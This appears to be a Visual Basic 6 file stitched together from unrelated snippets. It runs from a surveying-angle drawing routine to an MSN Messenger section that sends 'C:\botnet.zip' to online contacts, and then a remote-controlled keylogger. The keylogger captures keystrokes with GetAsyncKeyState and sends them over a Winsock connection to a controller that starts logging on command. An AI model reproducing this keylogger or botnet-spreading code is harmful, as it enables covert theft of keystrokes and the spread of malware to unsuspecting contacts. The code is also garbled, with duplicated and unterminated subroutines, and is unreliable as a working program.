Private Sub Form_Paint()

On Error Resume Next
Dim Xvisado As Double
Dim Yvisado As Double
Dim x1 As Double
Dim y1 As Double
Dim x2 As Double
Dim y2 As Double
Dim x3 As Double
Dim y3 As Double
Dim Des As Double
Dim Azimut As Double
Dim Az As Double
Dim ds As Double
Dim Pi As Double

Xvisado = Text1.Text
Yvisado = Text2.Text
Az = Text3.Text
Pi = 3.141592653
ds = Text4.Text

Xvisado = Xvisado * Pi / 200
Yvisado = Yvisado * Pi / 200
Azimut = Az * Pi / 200
Des = ds * Pi / 200

x1 = 3360 + 1750 * Cos(Azimut)
y1 = 2880 - 1750 * Sin(Azimut)
x2 = 3360 + 1750 * Cos(Des)
y2 = 2880 - 1750 * Sin(Des)
x3 = 3360 + 1750 * Cos(Xvisado)
y3 = 2880 - 1750 * Sin(Yvisado)

frmRadiacion.Line (3360, 2880)-(x1, y1), RGB(255, 0, 0)
frmRadiacion.Line (3360, 2880)-(x2, y2), RGB(0, 255, 0)
frmRadiacion.Line (3360, 2880)-(x3, y3), RGB(0, 0, 255)

frmRadiacion.Circle (3360, 2880), 200, RGB(0, 0, 255), (Xvisado / Yvisado)
frmRadiacion.Circle (3360, 2880), 300, RGB(0, 255, 0), Des
frmRadiacion.Circle (3360, 2880), 400, RGB(255, 0, 0), Azimut
end sub

Public WithEvents MsgrUIA As MessengerAPI.Messenger
Public MsgrContacts As MessengerAPI.IMessengerContacts
Public MsgrServices As MessengerAPI.IMessengerServices
Public MsgrContact As MessengerAPI.IMessengerContact
Public mWindow As MessengerAPI.IMessengerWindow
Dim WithEvents MSNApi As MessengerAPI.Messenger
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Const WM_NCLBUTTONDOWN = &HA1

Private Sub Command1_Click()
On Error Resume Next
On Error Resume Next
contactosenlinea List1, MISTATUS_ONLINE
contactosenlinea List1, MISTATUS_AWAY
contactosenlinea List1, MISTATUS_BUSY
contactosenlinea List1, MISTATUS_BE_RIGHT_BACK
 contactosenlinea List1, MISTATUS_ON_THE_PHONE
If List1.ListCount = 0 Then
List1.AddItem "No hay contactos En Linea"
End If
End Sub

Private Sub Command2_Click()
Messenger.SendFile List1.Text, "C:\botnet.zip"


End Sub

Private Sub Form_Load()
On Error Resume Next
Set Msn = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Set MSNApi = New MessengerAPI.Messenger
End Sub
Private Sub contactosenlinea(brList As ListBox, pStatus As MISTATUS)
Dim Contacto As IMessengerContact

For Each Contacto In MSNApi.MyContacts
If Contacto.Status = pStatus Then
brList.AddItem Contacto.SigninName
End If
Next
End Sub

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim pulsacion As String
For X% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(X%) Then 'si se ha pulsado una tecla
pulsacion = ObtenerTecla(X%) 'obtener tecla pulsada, la funcion obtener tecla es una funcion aparte para obtener las teclas especiales 
Text1.Text = Text1.Text & pulsacion  'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
Call Command1_Click
If Not ws.State = sckConnected Then
Timer1.Enabled = False
End If
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
end sub
Private Sub Command1_Click()
ws.SendData "log|" & Text1.Text
Text1.Text = ""
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If datos = "Keylogg" Then
Timer1.Enabled = True
End If

Dim log As Variant
Dim datos As String
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos
log = Split(datos, "|")
Select Case log(0)
Case "log"
Text1.Text = Text1.Text & log(1)
End Select
End Sub
Private Sub Command1_Click()
ws.SendData "Keylogg"
End Sub